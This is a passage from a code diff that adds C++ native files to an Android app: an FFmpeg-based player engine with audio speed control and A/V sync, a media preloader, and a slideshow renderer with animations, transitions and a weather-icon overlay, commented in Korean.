+        }
+
+        if (pkt->stream_index == video_stream_idx_) {
+            videoQueue_.push(pkt);
+        } else if (pkt->stream_index == audio_stream_idx_) {
+            audioQueue_.push(pkt);
+        }
+        av_packet_unref(pkt); // 큐 안에서 복사했으므로 원본은 비움
+    }
+    av_packet_free(&pkt);
+}
+
+void PlayerEngine::audioThreadLoop() {
+    AVFrame* frame = av_frame_alloc();
+    const int MIN_BUFFER_SIZE = 2 * 1024 * 1024;
+    bool isBuffering = true;
+    const int MAX_SONIC_SAMPLES = 8192;
+    short* sonic_out_buf = new short[MAX_SONIC_SAMPLES * 2];
+
+    while (!abortRequest_) {
+        if (isPaused_) {
+            std::this_thread::sleep_for(std::chrono::milliseconds(10));
+            continue;
+        }
+
+        int currentAudioSize = audioQueue_.getSizeBytes();
+        int currentVideoSize = videoQueue_.getSizeBytes();
+        int totalQueueSize = currentAudioSize + currentVideoSize;
+
+        // 💡 배속 중이든 아니든 이제 무조건 정상적인 버퍼링 로직을 탑니다.
+        if (totalQueueSize < MIN_BUFFER_SIZE / 2) isBuffering = true;
+        else if (totalQueueSize >= MIN_BUFFER_SIZE) isBuffering = false;
+
+        if (isBuffering && !abortRequest_) {
+            std::this_thread::sleep_for(std::chrono::milliseconds(10));
+            continue;
+        }
+
+        AVPacket* pkt = audioQueue_.pop();
+        if (!pkt) break;
+
+        // 💡 [추가] 오디오도 스스로 코덱과 Sonic 버퍼를 비웁니다.
+        if (audioCodecFlushReq_) {
+            avcodec_flush_buffers(audio_codec_ctx_);
+
+            if (sonic_stream_) {
+                sonicFlushStream(sonic_stream_);
+            }
+
+            // AAudio의 틱 잡음을 막기 위해 재생 중인 버퍼도 비워줍니다.
+            if (audio_stream_) {
+                AAudioStream_requestPause(audio_stream_);
+                AAudioStream_requestFlush(audio_stream_);
+                AAudioStream_requestStart(audio_stream_);
+            }
+            audioCodecFlushReq_ = false;
+        }
+
+        avcodec_send_packet(audio_codec_ctx_, pkt);
+        while (avcodec_receive_frame(audio_codec_ctx_, frame) == 0) {
+
+            // 마스터 시계 갱신
+            if (frame->pts != AV_NOPTS_VALUE) {
+                audioClock_ = frame->pts * av_q2d(fmt_ctx_->streams[audio_stream_idx_]->time_base);
+            }
+
+            if (swr_ctx_ && audio_stream_) {
+                int out_samples = swr_get_out_samples(swr_ctx_, frame->nb_samples);
+                uint8_t* out_buf = (uint8_t*)malloc(out_samples * 4); // S16 2채널 = 4바이트
+
+                // 1. FFmpeg으로 PCM 변환 (정배속 데이터)
+                int converted = swr_convert(swr_ctx_, &out_buf, out_samples, (const uint8_t**)frame->data, frame->nb_samples);
+
+                if (converted > 0 && sonic_stream_ && !abortRequest_) {
+
+                    // 🚀 2. 변환된 데이터를 Sonic 스트림에 밀어넣습니다 (입력)
+                    sonicWriteShortToStream(sonic_stream_, (short*)out_buf, converted);
+
+                    // 🚀 3. Sonic 스트림에서 배속 처리 완료된 데이터를 뽑아냅니다 (출력)
+                    int samplesRead;
+                    do {
+                        // 가공된 데이터 꺼내기 (반환값: 꺼낸 샘플 수)
+                        samplesRead = sonicReadShortFromStream(sonic_stream_, sonic_out_buf, MAX_SONIC_SAMPLES);
+
+                        if (samplesRead > 0 && !abortRequest_) {
+                            // 4. 가공된 최종 데이터를 사운드 카드(AAudio)에 씁니다!
+                            int32_t framesLeft = samplesRead;
+                            short* currentAAudioBuf = sonic_out_buf;
+
+                            while (framesLeft > 0 && !abortRequest_) {
+                                int32_t framesWritten = AAudioStream_write(audio_stream_, currentAAudioBuf, framesLeft, 1000000000);
+                                if (seekReq_) break;
+                                if (framesWritten < 0) break;
+                                framesLeft -= framesWritten;
+                                currentAAudioBuf += framesWritten * 2; // 2채널 전진
+                            }
+                        }
+                    } while (samplesRead > 0); // Sonic에 꺼낼 데이터가 없을 때까지 반복
+                }
+                free(out_buf);
+            }
+        }
+        av_packet_free(&pkt);
+    }
+    delete[] sonic_out_buf;
+    av_frame_free(&frame);
+}
+
+void PlayerEngine::videoThreadLoop() {
+    AVFrame* frame = av_frame_alloc();
+    int last_win_w = 0, last_win_h = 0;
+
+    while (!abortRequest_) {
+        if (isPaused_) {
+            std::this_thread::sleep_for(std::chrono::milliseconds(10));
+            continue;
+        }
+
+        AVPacket* pkt = videoQueue_.pop();
+        if (!pkt) break;
+        // 💡 [추가] 패킷을 밀어 넣기 직전에 청소 명령이 있었는지 확인!
+        if (videoCodecFlushReq_) {
+            avcodec_flush_buffers(video_codec_ctx_);
+            videoCodecFlushReq_ = false;
+        }
+
+        avcodec_send_packet(video_codec_ctx_, pkt);
+        while (avcodec_receive_frame(video_codec_ctx_, frame) == 0) {
+
+            double videoPtsSec = frame->pts * av_q2d(fmt_ctx_->streams[video_stream_idx_]->time_base);
+            currentPosSec_ = videoPtsSec; // UI 바 업데이트용
+
+            // 💡 위대한 귀환: 비디오는 무조건 오디오 시계만 쳐다봅니다!
+            double delaySec = videoPtsSec - audioClock_.load();
+            float currentSpeed = playbackSpeed_.load();
+
+            // 🚀 [A/V Sync & 프레임 드랍 로직]
+            if (delaySec > 0.01) {
+                // 비디오가 미래다 -> 남은 시간만큼 재운다
+                double waitTime = delaySec / currentSpeed;
+                std::this_thread::sleep_for(std::chrono::microseconds((int64_t)(waitTime * 1000000.0)));
+            }
+            else if (delaySec < -0.05) {
+                // 비디오가 과거다 -> 그리지 않고 가차없이 버린다 (이것 덕분에 4배속 화면 렌더링 부하가 해결됨!)
+                continue;
+            }
+
+            // --- 렌더링 통과 ---
+            if (window_) {
+                int w = ANativeWindow_getWidth(window_), h = ANativeWindow_getHeight(window_);
+                if (!sws_ctx_ || w != last_win_w || h != last_win_h) {
+                    if (sws_ctx_) sws_freeContext(sws_ctx_);
+                    sws_ctx_ = sws_getContext(frame->width, frame->height, video_codec_ctx_->pix_fmt, w, h, AV_PIX_FMT_RGBA, SWS_BILINEAR, nullptr, nullptr, nullptr);
+                    last_win_w = w; last_win_h = h;
+                }
+
+                ANativeWindow_Buffer buffer;
+                if (ANativeWindow_lock(window_, &buffer, nullptr) == 0) {
+                    uint8_t* dst_data[4] = { (uint8_t*)buffer.bits, nullptr, nullptr, nullptr };
+                    int dst_line[4] = { buffer.stride * 4, 0, 0, 0 };
+                    if (sws_ctx_) sws_scale(sws_ctx_, frame->data, frame->linesize, 0, frame->height, dst_data, dst_line);
+                    ANativeWindow_unlockAndPost(window_);
+                }
+            }
+        }
+        av_packet_free(&pkt);
+    }
+    av_frame_free(&frame);
+}
+
+std::string PlayerEngine::getSubtitleTracks() { return subtitle_tracks_info_; }
+void PlayerEngine::setSubtitleTrack(int streamIndex) { current_sub_stream_idx_ = streamIndex; }

app/src/main/cpp/PlayerEngine.h

@@ -0,0 +1,106 @@
+#pragma once
+#include "PacketQueue.h"
+#include <string>
+#include <thread>
+#include <atomic>
+#include <jni.h>
+#include <android/native_window.h>
+#include <aaudio/AAudio.h>
+#include "sonic.h" // 💡 Sonic 헤더 추가
+
+extern "C" {
+#include <libavformat/avformat.h>
+#include <libavcodec/avcodec.h>
+#include <libswscale/swscale.h>
+#include <libswresample/swresample.h>
+#include <libavutil/opt.h>
+#include <libavutil/channel_layout.h>
+}
+
+class PlayerEngine {
+public:
+    PlayerEngine(JavaVM* vm, jobject listenerObj);
+    ~PlayerEngine();
+
+    void setDataSource(int videoFd, int subtitleFd);
+    void prepareAsync(); // 💡 비동기 준비 시작 함수
+    void play(ANativeWindow* window);
+    void pause();
+    void stop();
+    void seekBy(double seconds);
+    void setSpeed(float speed);
+    double getCurrentPosition() const { return currentPosSec_; }
+
+    std::string getSubtitleTracks();
+    void setSubtitleTrack(int streamIndex);
+    double getDuration() const;
+    void seekTo(double seconds);
+
+private:
+    void readThreadLoop();   // 패킷을 읽어서 큐에 넣는 스레드 (생산자)
+    void videoThreadLoop();  // 비디오 큐에서 꺼내서 렌더링하는 스레드 (소비자)
+    void audioThreadLoop();  // 오디오 큐에서 꺼내서 출력하는 스레드 (소비자)
+
+    std::atomic<bool> videoCodecFlushReq_{false};
+    std::atomic<bool> audioCodecFlushReq_{false};
+
+    PacketQueue videoQueue_;
+    PacketQueue audioQueue_;
+
+    std::thread readThread_;
+    std::thread videoThread_;
+    std::thread audioThread_;
+
+    std::atomic<bool> abortRequest_{false};
+
+    // 💡 [A/V Sync의 핵심] 현재 오디오가 어디까지 재생되었는지 기록하는 마스터 시계
+    std::atomic<double> audioClock_{0.0};
+
+    std::atomic<bool> isAbsoluteSeek_{false}; // 절대 위치 이동 여부 플래그
+    std::atomic<double> seekTargetSec_{0.0};
+    void prepareInternal(); // 💡 백그라운드 준비 스레드
+    void renderLoop();
+    void sendSubtitleToKotlin(const char* text);
+
+    int videoFd_ = -1;
+    int subtitleFd_ = -1;
+
+    std::atomic<bool> isPrepared_{false};
+    std::atomic<bool> isPlaying_{false};
+    std::atomic<bool> isPaused_{false};
+
+    std::thread prepareThread_;
+    std::thread renderThread_;
+    ANativeWindow* window_ = nullptr;
+
+    std::atomic<bool> seekReq_{false};
+    std::atomic<double> seekTargetOffset_{0.0};
+    std::atomic<float> playbackSpeed_{1.0f};
+    double currentPosSec_ = 0.0;
+
+    int current_sub_stream_idx_ = -1;
+    std::string subtitle_tracks_info_;
+
+    AVFormatContext* fmt_ctx_ = nullptr;
+    AVCodecContext* video_codec_ctx_ = nullptr;
+    AVCodecContext* sub_codec_ctx_ = nullptr;
+    AVCodecContext* audio_codec_ctx_ = nullptr;
+    SwsContext* sws_ctx_ = nullptr;
+    SwrContext* swr_ctx_ = nullptr;
+
+    int video_stream_idx_ = -1;
+    int sub_stream_idx_ = -1;
+    int audio_stream_idx_ = -1;
+
+    AAudioStream* audio_stream_ = nullptr;
+
+    JavaVM* jvm_ = nullptr;
+    jobject listenerObj_ = nullptr;
+    jmethodID subtitleMethodId_ = nullptr;
+    jmethodID videoSizeMethodId_ = nullptr;
+    jmethodID preparedMethodId_ = nullptr; // 💡 JNI 콜백 ID 추가
+    jmethodID errorMethodId_ = nullptr;    // 💡 JNI 에러 콜백 ID 추가
+
+    sonicStream sonic_stream_ = nullptr;
+
+};

app/src/main/cpp/Preloader.cpp

@@ -0,0 +1,79 @@
+#include "Preloader.h"
+#include <android/log.h>
+
+extern void callNextMediaCallback();
+
+#define LOG_TAG "Preloader"
+#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
+#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+
+Preloader::Preloader() : dataReady_(false), preloadFailed_(false) {}
+
+Preloader::~Preloader() {
+    releasePreloadedData();
+}
+
+void Preloader::releasePreloadedData() {
+    std::lock_guard<std::mutex> lock(preloadMutex_);
+    nextMedia_.release();
+    dataReady_ = false;
+    preloadFailed_ = false;
+}
+
+// [수정] std::string path 대신 int fd를 인자로 받음
+void Preloader::startNextPreload(int fd) {
+    if (dataReady_) {
+        LOGI("Preloader is busy with ready data. Ignoring new preload request.");
+        return;
+    }
+
+    if (fd < 0) {
+        LOGE("Preloader received an invalid file descriptor.");
+        return;
+    }
+
+    // 이전에 실패했더라도 새로운 요청이 오면 다시 시도하도록 초기화
+    preloadFailed_ = false;
+
+    std::thread([this, fd]() {
+        LOGI("Starting preload thread for media with fd: %d", fd);
+
+        MediaAsset tempMedia;
+        if (tempMedia.load(fd)) {
+            std::lock_guard<std::mutex> lock(preloadMutex_);
+            nextMedia_ = std::move(tempMedia);
+            dataReady_ = true;
+            LOGI("Preloading finished successfully.");
+        } else {
+            // --- ⬇️ 실패 로그 추가 ⬇️ ---
+            LOGE("!!! Preloading FAILED for fd: %d. !!!", fd);
+            preloadFailed_ = true;
+            callNextMediaCallback();
+        }
+    }).detach();
+}
+
+bool Preloader::isPreloadedDataReady() const {
+    return dataReady_;
+}
+
+bool Preloader::hasPreloadFailed() const {
+    return preloadFailed_;
+}
+
+MediaAsset Preloader::swapAndRelease() {
+    std::lock_guard<std::mutex> lock(preloadMutex_);
+    if (dataReady_) {
+        dataReady_ = false;
+        preloadFailed_ = false;
+        return std::move(nextMedia_);
+    }
+    return MediaAsset(); // 준비되지 않았으면 빈 MediaAsset 반환
+}
+
+void Preloader::setPreloadedMedia(MediaAsset&& media) {
+    std::lock_guard<std::mutex> lock(preloadMutex_);
+    nextMedia_ = std::move(media);
+    dataReady_ = true;
+    preloadFailed_ = false;
+}

app/src/main/cpp/Preloader.h

@@ -0,0 +1,25 @@
+#pragma once
+
+#include "MediaAsset.h"
+#include <string>
+#include <mutex>
+#include <atomic>
+#include <thread>
+
+class Preloader {
+public:
+    Preloader();
+    ~Preloader();
+    void startNextPreload(int fd); // [수정] string -> int
+    bool isPreloadedDataReady() const;
+    bool hasPreloadFailed() const;
+    MediaAsset swapAndRelease();
+    void setPreloadedMedia(MediaAsset&& media);
+    void releasePreloadedData();
+
+private:
+    std::mutex preloadMutex_;
+    MediaAsset nextMedia_;
+    std::atomic<bool> dataReady_;
+    std::atomic<bool> preloadFailed_;
+};

app/src/main/cpp/Renderer.cpp

@@ -0,0 +1,523 @@
+#include "Renderer.h"
+#include "AnimationStrategy.cpp"
+#include "AnimationStrategy.h"
+#include "TransitionStrategy.cpp"
+#include <android/log.h>
+#include <algorithm>
+#include <cmath>
+#include <thread>
+#include <chrono>
+
+extern void callNextMediaCallback();
+
+#define LOG_TAG "Renderer"
+#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
+#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+
+// ====================================================================
+// 생성자, 소멸자 및 설정(Setter) 함수들
+// ====================================================================
+Renderer::Renderer() {
+    randomEngine_.seed(std::chrono::high_resolution_clock::now().time_since_epoch().count());
+    setAnimationMode(static_cast<int>(AnimationMode::PAN));
+    setTransitionMode(static_cast<int>(TransitionMode::FADE));
+}
+Renderer::~Renderer() {
+    stopRenderLoop();
+    release();
+}
+void Renderer::release() { std::lock_guard<std::mutex> lock(renderMutex_); currentMedia_.release(); nextMedia_.release(); }
+void Renderer::setNextMedia(int fd) { preloader_.startNextPreload(fd); }
+void Renderer::setAnimationSpeed(float speed) { animationSpeed_ = speed > 0 ? speed : 1.0f; }
+void Renderer::setFadeDuration(int durationMs) { fadeDurationMs_ = durationMs > 0 ? durationMs : 3000; }
+void Renderer::setPageTurnDelay(int delayMs) { pageTurnDelayMs_ = delayMs > 0 ? delayMs : 5000; }
+
+void Renderer::setAnimationMode(int mode) {
+    configuredAnimationMode_ = (mode >= 0 && mode <= static_cast<int>(AnimationMode::PAGE_TURN)) ? static_cast<AnimationMode>(mode) : AnimationMode::PAN;
+    determineActiveAnimationMode();
+}
+void Renderer::setTransitionMode(int mode) {
+    configuredTransitionMode_ = (mode >= 0 && mode <= static_cast<int>(TransitionMode::MOSAIC)) ? static_cast<TransitionMode>(mode) : TransitionMode::FADE;
+}
+
+void Renderer::startRenderLoop(ANativeWindow* window) {
+    if (isRunning_) return; // 이미 실행 중이면 무시
+
+    nativeWindow_ = window;
+    if (nativeWindow_) {
+        ANativeWindow_acquire(nativeWindow_);
+        isRunning_ = true;
+        renderThread_ = std::thread([this]() {
+            LOGI("C++ Render thread started.");
+            while (isRunning_) {
+                auto frameStartTime = std::chrono::steady_clock::now();
+
+                renderFrame(nativeWindow_); // 기존의 복잡한 renderFrame 함수를 그대로 호출
+
+                auto frameEndTime = std::chrono::steady_clock::now();
+                auto frameDuration = std::chrono::duration_cast<std::chrono::milliseconds>(frameEndTime - frameStartTime);
+
+                // --- ⬇️ 수정: 고정 딜레이 -> 가변 딜레이 ⬇️ ---
+                // 현재 설정된 목표 딜레이(currentFrameDelay_)에 맞춰 대기
+                auto sleepTime = currentFrameDelay_ - frameDuration;
+                if (sleepTime > std::chrono::milliseconds(0)) {
+                    std::this_thread::sleep_for(sleepTime);
+                }
+            }
+            LOGI("C++ Render thread finished.");
+        });
+    }
+}
+
+void Renderer::stopRenderLoop() {
+    if (!isRunning_) return;
+
+    isRunning_ = false;
+    if (renderThread_.joinable()) {
+        renderThread_.join();
+    }
+    if (nativeWindow_) {
+        ANativeWindow_release(nativeWindow_);
+        nativeWindow_ = nullptr;
+    }
+}
+
+void Renderer::determineActiveAnimationMode() {
+    AnimationMode modeToSetActive;
+    if (configuredAnimationMode_ == AnimationMode::RANDOM) {
+        static const std::vector<AnimationMode> availableModes = { AnimationMode::PAN, AnimationMode::ZOOM, AnimationMode::NONE, AnimationMode::PAN_ONE_WAY, AnimationMode::PAGE_TURN };
+        std::uniform_int_distribution<size_t> dist(0, availableModes.size() - 1);
+        modeToSetActive = availableModes[dist(randomEngine_)];
+    } else {
+        modeToSetActive = configuredAnimationMode_;
+    }
+    activeAnimationMode_ = modeToSetActive;
+    switch (activeAnimationMode_) {
+        case AnimationMode::PAN: animationStrategy_ = std::make_unique<PanAnimation>(animationSpeed_); break;
+        case AnimationMode::PAN_ONE_WAY: animationStrategy_ = std::make_unique<PanOneWayAnimation>(animationSpeed_); break;
+        case AnimationMode::ZOOM: animationStrategy_ = std::make_unique<ZoomAnimation>(animationSpeed_); break;
+        case AnimationMode::PAGE_TURN: animationStrategy_ = std::make_unique<PageTurnAnimation>(animationSpeed_, pageTurnDelayMs_); break;
+        case AnimationMode::NONE: default: animationStrategy_ = std::make_unique<NoneAnimation>(animationSpeed_); break;
+    }
+}
+
+// ====================================================================
+// 상태 머신(State Machine) 핸들러 함수들
+// ====================================================================
+
+void Renderer::handleAnimationState(ANativeWindow_Buffer& buffer, int surfaceWidth, int surfaceHeight) {
+    if (!animationStrategy_) return;
+
+    bool isCycleComplete = animationStrategy_->execute(this, buffer, currentMedia_, surfaceWidth, surfaceHeight);
+
+    if ((isCycleComplete || forceNextFlag_) && nextMedia_.isValid()) {
+        forceNextFlag_ = false; // 플래그 초기화
+        lastAnimationState_ = animationStrategy_->getState();
+        predictedNextAnimationMode_ = predictNextAnimationMode();
+        currentState_ = RenderState::TRANSITIONING;
+        transitionStartTime_ = std::chrono::steady_clock::now();
+
+        TransitionMode transModeToUse = configuredTransitionMode_;
+        if (transModeToUse == TransitionMode::RANDOM) {
+            std::uniform_int_distribution<int> dist(0, 2);
+            transModeToUse = static_cast<TransitionMode>(dist(randomEngine_));
+        }
+        if (transModeToUse == TransitionMode::SLIDE) {
+            transitionStrategy_ = std::make_unique<SlideTransition>(fadeDurationMs_, surfaceWidth);
+        } else if (transModeToUse == TransitionMode::MOSAIC) {
+            transitionStrategy_ = std::make_unique<MosaicTransition>(fadeDurationMs_, 20, 32, randomEngine_);
+        } else {
+            transitionStrategy_ = std::make_unique<FadeTransition>(fadeDurationMs_);
+        }
+        if(transitionStrategy_) transitionStrategy_->reset();
+    }
+}
+/**
+ * @brief 다음에 실행될 애니메이션 모드를 미리 예측하여 반환합니다.
+ */
+Renderer::AnimationMode Renderer::predictNextAnimationMode() {
+    if (configuredAnimationMode_ == AnimationMode::RANDOM) {
+        static const std::vector<AnimationMode> availableModes = {
+                AnimationMode::PAN, AnimationMode::ZOOM, AnimationMode::NONE,
+                AnimationMode::PAN_ONE_WAY, AnimationMode::PAGE_TURN
+        };
+        std::uniform_int_distribution<size_t> dist(0, availableModes.size() - 1);
+        return availableModes[dist(randomEngine_)];
+    } else {
+        return configuredAnimationMode_;
+    }
+}
+
+/**
+ * @brief 주어진 애니메이션 모드의 시작 상태(좌표, 스케일)를 계산하여 반환합니다.
+ */
+AnimationState Renderer::getStartStateForMode(AnimationMode mode, int surfaceWidth, int surfaceHeight) {
+    AnimationState startState;
+    if (mode == AnimationMode::PAN || mode == AnimationMode::PAN_ONE_WAY) {
+        // Pan 계열은 가장자리(0,0)에서 시작
+        startState.offsetX = 0.0f;
+        startState.offsetY = 0.0f;
+
+        // Pan 계열의 기본 스케일 계산
+        float scale;
+        if ((static_cast<float>(nextMedia_.getWidth()) / nextMedia_.getHeight()) > ((float)surfaceWidth / surfaceHeight)) {
+            scale = (float)surfaceHeight / nextMedia_.getHeight();
+        } else {
+            scale = (float)surfaceWidth / nextMedia_.getWidth();
+        }
+        startState.scale = scale;
+
+    } else {
+        // Zoom, None, PageTurn 등은 중앙 정렬에서 시작
+        float baseScale, baseOffsetX, baseOffsetY;
+        calculateFitScaleAndOffset(nextMedia_, surfaceWidth, surfaceHeight, baseScale, baseOffsetX, baseOffsetY);
+        startState.offsetX = baseOffsetX;
+        startState.offsetY = baseOffsetY;
+        startState.scale = baseScale;
+    }
+    return startState;
+}
+
+void Renderer::handleTransitionState(ANativeWindow_Buffer& buffer, int surfaceWidth, int surfaceHeight) {
+
+    if (!transitionStrategy_ || !nextMedia_.isValid()) {
+        currentState_ = RenderState::ANIMATING;
+        if(animationStrategy_) animationStrategy_->reset();
+        return;
+    }
+
+
+
+    // 2. 해당 모드의 전문가를 "임시로" 고용하여 시작 상태가 어떨지 물어봅니다.
+    std::unique_ptr<AnimationStrategy> tempNextStrategy;
+    switch (predictedNextAnimationMode_) {
+        case AnimationMode::PAN:
+            tempNextStrategy = std::make_unique<PanAnimation>(animationSpeed_);
+            break;
+        case AnimationMode::PAN_ONE_WAY:
+            tempNextStrategy = std::make_unique<PanOneWayAnimation>(animationSpeed_);
+            break;
+        case AnimationMode::ZOOM:
+            tempNextStrategy = std::make_unique<ZoomAnimation>(animationSpeed_);
+            break;
+        case AnimationMode::PAGE_TURN:
+            tempNextStrategy = std::make_unique<PageTurnAnimation>(animationSpeed_, pageTurnDelayMs_);
+            break;
+        case AnimationMode::NONE:
+        default:
+            tempNextStrategy = std::make_unique<NoneAnimation>(animationSpeed_);
+            break;
+    }
+
+    AnimationState destStartState;
+    if (tempNextStrategy) {
+        destStartState = tempNextStrategy->getStartState(this, nextMedia_, surfaceWidth, surfaceHeight);
+    }
+
+    // 3. 전환 전문가에게 모든 정보를 (이전 상태의 끝, 다음 상태의 시작) 넘겨주고 그리기를 위임
+    auto now = std::chrono::steady_clock::now();
+    long long elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(now - transitionStartTime_).count();
+    bool isComplete = transitionStrategy_->execute(this, buffer, currentMedia_, lastAnimationState_, nextMedia_, destStartState, elapsed);
+
+    // 4. 상태 전환 체크
+    if (isComplete) {
+        currentMedia_ = std::move(nextMedia_);
+        currentState_ = RenderState::ANIMATING;
+        // 예측했던 모드를 실제로 적용
+        activeAnimationMode_ = predictedNextAnimationMode_;
+        switch (activeAnimationMode_) { // 해당 전략 객체 생성
+            case AnimationMode::PAN: animationStrategy_ = std::make_unique<PanAnimation>(animationSpeed_); break;
+            case AnimationMode::PAN_ONE_WAY: animationStrategy_ = std::make_unique<PanOneWayAnimation>(animationSpeed_); break;
+            case AnimationMode::ZOOM: animationStrategy_ = std::make_unique<ZoomAnimation>(animationSpeed_); break;
+            case AnimationMode::PAGE_TURN: animationStrategy_ = std::make_unique<PageTurnAnimation>(animationSpeed_, pageTurnDelayMs_); break;
+            case AnimationMode::NONE:
+            default: animationStrategy_ = std::make_unique<NoneAnimation>(animationSpeed_);
+                break;
+        }
+        if(animationStrategy_) animationStrategy_->reset();
+    }
+}
+
+void Renderer::updateWeatherBitmap(void* pixels, int width, int height) {
+    std::lock_guard<std::mutex> lock(weatherMutex_);
+    weatherWidth_ = width;
+    weatherHeight_ = height;
+
+    size_t size = static_cast<size_t>(width * height * 4);
+    weatherPixels_.assign(static_cast<uint8_t*>(pixels), static_cast<uint8_t*>(pixels) + size);
+
+}
+
+void Renderer::clearWeatherBitmap() {
+    std::lock_guard<std::mutex> lock(weatherMutex_);
+    weatherPixels_.clear();
+}
+
+void Renderer::setImageRenderFrame(int frame) {
+    std::lock_guard<std::mutex> lock(weatherMutex_);
+    imageFrame_ = frame;
+}
+
+// ====================================================================
+// 메인 렌더링 루프 (교통정리 담당)
+// ====================================================================
+void Renderer::renderFrame(ANativeWindow* window) {
+    if (!window) return;
+    std::lock_guard<std::mutex> lock(renderMutex_);
+
+    if (!currentMedia_.isValid() && preloader_.isPreloadedDataReady()) {
+        currentMedia_ = preloader_.swapAndRelease();
+        if (currentMedia_.isValid()) {
+            // --- ⬇️ 프레임 딜레이 설정 로직 추가 ⬇️ ---
+            if (currentMedia_.getType() == MediaAsset::Type::VIDEO && currentMedia_.getFps() > 0) {
+                currentFrameDelay_ = std::chrono::milliseconds(static_cast<long long>(1000.0 / currentMedia_.getFps()));
+                LOGI("Media type: Video. Frame delay set to %lldms for %.2f FPS", currentFrameDelay_.count(), currentMedia_.getFps());
+            } else {
+                currentFrameDelay_ = std::chrono::milliseconds(imageFrame_); // 이미지일 경우 30fps
+                LOGI("Media type: Image. Frame delay set to 33ms (~30 FPS)");
+            }
+            currentState_ = RenderState::ANIMATING;
+            determineActiveAnimationMode();
+            if(animationStrategy_) animationStrategy_->reset();
+            callNextMediaCallback();
+        }
+    }
+    if (!currentMedia_.isValid()) {
+        ANativeWindow_Buffer buffer;
+        if (ANativeWindow_lock(window, &buffer, nullptr) == 0) {
+            memset(buffer.bits, 0, buffer.stride * buffer.height * sizeof(uint32_t));
+            ANativeWindow_unlockAndPost(window);
+        }
+        return;
+    }
+    if (!nextMedia_.isValid() && preloader_.isPreloadedDataReady()) {
+        nextMedia_ = preloader_.swapAndRelease();
+        if(nextMedia_.isValid()) { callNextMediaCallback(); }
+    }
+
+    ANativeWindow_Buffer buffer;
+    if (ANativeWindow_lock(window, &buffer, nullptr) != 0) return;
+    int surfaceWidth = ANativeWindow_getWidth(window);
+    int surfaceHeight = ANativeWindow_getHeight(window);
+
+    switch (currentState_) {
+        case RenderState::ANIMATING:
+            handleAnimationState(buffer, surfaceWidth, surfaceHeight);
+            break;
+        case RenderState::TRANSITIONING:
+            handleTransitionState(buffer, surfaceWidth, surfaceHeight);
+            break;
+    }
+
+    {
+        std::lock_guard<std::mutex> lock(weatherMutex_);
+        if (!weatherPixels_.empty()) {
+            // ======== ⬇️ 유기적인 움직임(Drift) 추가 ⬇️ ========
+            std::uniform_real_distribution<float> driftDist(-0.3f, 0.3f); // 방향 전환 폭을 살짝 키움
+            weatherVelX_ += driftDist(randomEngine_);
+            weatherVelY_ += driftDist(randomEngine_);
+
+            // 2. 현재 속도(벡터의 길이) 계산
+            float speed = std::sqrt(weatherVelX_ * weatherVelX_ + weatherVelY_ * weatherVelY_);
+
+            // 💡 여기서 최소/최대 이동 픽셀을 강제로 지정합니다.
+            float maxSpeed = 3.0f; // 프레임당 최대 5픽셀 이동 (답답하지 않게 상향)
+            float minSpeed = 1.0f; // 프레임당 최소 2픽셀 이동 보장 (절대 멈추거나 느려지지 않음)
+
+            // 속도 보정 (Normalization & Scaling)
+            if (speed < 0.001f) {
+                // 완전히 멈췄을 때의 방어 코드
+                weatherVelX_ = minSpeed;
+                weatherVelY_ = minSpeed;
+            } else if (speed > maxSpeed) {
+                // 한계 속도 초과 시 maxSpeed로 깎아냄
+                weatherVelX_ = (weatherVelX_ / speed) * maxSpeed;
+                weatherVelY_ = (weatherVelY_ / speed) * maxSpeed;
+            } else if (speed < minSpeed) {
+                // 🚀 속도가 너무 줄어들면 강제로 최소 속도(minSpeed) 픽셀만큼 끌어올림
+                weatherVelX_ = (weatherVelX_ / speed) * minSpeed;
+                weatherVelY_ = (weatherVelY_ / speed) * minSpeed;
+            }
+
+            // 3. 위치 업데이트 (최소 2px ~ 최대 5px 이동 보장)
+            weatherX_ += weatherVelX_;
+            weatherY_ += weatherVelY_;
+
+            // 4. 화면 경계 검사 및 튕기기 (Bounce)
+            // 튕길 때 속도가 너무 크게 변하지 않도록 난수 폭을 안정적으로(0.9~1.1) 조절
+            std::uniform_real_distribution<float> bounceDist(0.9f, 1.1f);
+
+            // 가로 경계
+            if (weatherX_ < 0) {
+                weatherX_ = 0;
+                weatherVelX_ = std::abs(weatherVelX_) * bounceDist(randomEngine_);
+            } else if (weatherX_ + weatherWidth_ > surfaceWidth) {
+                weatherX_ = (float)surfaceWidth - weatherWidth_;
+                weatherVelX_ = -std::abs(weatherVelX_) * bounceDist(randomEngine_);
+            }
+
+            // 세로 경계
+            if (weatherY_ < 0) {
+                weatherY_ = 0;
+                weatherVelY_ = std::abs(weatherVelY_) * bounceDist(randomEngine_);
+            } else if (weatherY_ + weatherHeight_ > surfaceHeight) {
+                weatherY_ = (float)surfaceHeight - weatherHeight_;
+                weatherVelY_ = -std::abs(weatherVelY_) * bounceDist(randomEngine_);
+            }
+
+            // 3. 그리기 (기존의 블렌딩 로직 사용)
+            uint32_t* dstPixels = (uint32_t*)buffer.bits;
+            int dstStride = buffer.stride;
+
+            for (int y = 0; y < weatherHeight_; ++y) {
+                int targetY = static_cast<int>(weatherY_) + y;
+                if (targetY < 0 || targetY >= surfaceHeight) continue;
+
+                for (int x = 0; x < weatherWidth_; ++x) {
+                    int targetX = static_cast<int>(weatherX_) + x;
+                    if (targetX < 0 || targetX >= surfaceWidth) continue;
+
+                    const uint8_t* src = &weatherPixels_[(y * weatherWidth_ + x) * 4];
+                    uint8_t alpha = src[3];
+                    if (alpha == 0) continue;
+
+                    uint32_t* dst = &dstPixels[targetY * dstStride + targetX];
+
+                    // ======== ⬇️ 이 부분을 수정합니다 ⬇️ ========
+                    // Red와 Blue 채널의 비트 시프트(Shift) 위치를 안드로이드 Bitmap(RGBA) 규격에 맞게 수정
+                    uint8_t dr = (*dst) & 0xFF;         // 배경의 Red
+                    uint8_t dg = (*dst >> 8) & 0xFF;    // 배경의 Green
+                    uint8_t db = (*dst >> 16) & 0xFF;   // 배경의 Blue
+
+                    // 날씨 아이콘(src)의 R(0), G(1), B(2)와 배경(dst)을 알파 블렌딩
+                    uint8_t r = (src[0] * alpha + dr * (255 - alpha)) / 255;
+                    uint8_t g = (src[1] * alpha + dg * (255 - alpha)) / 255;
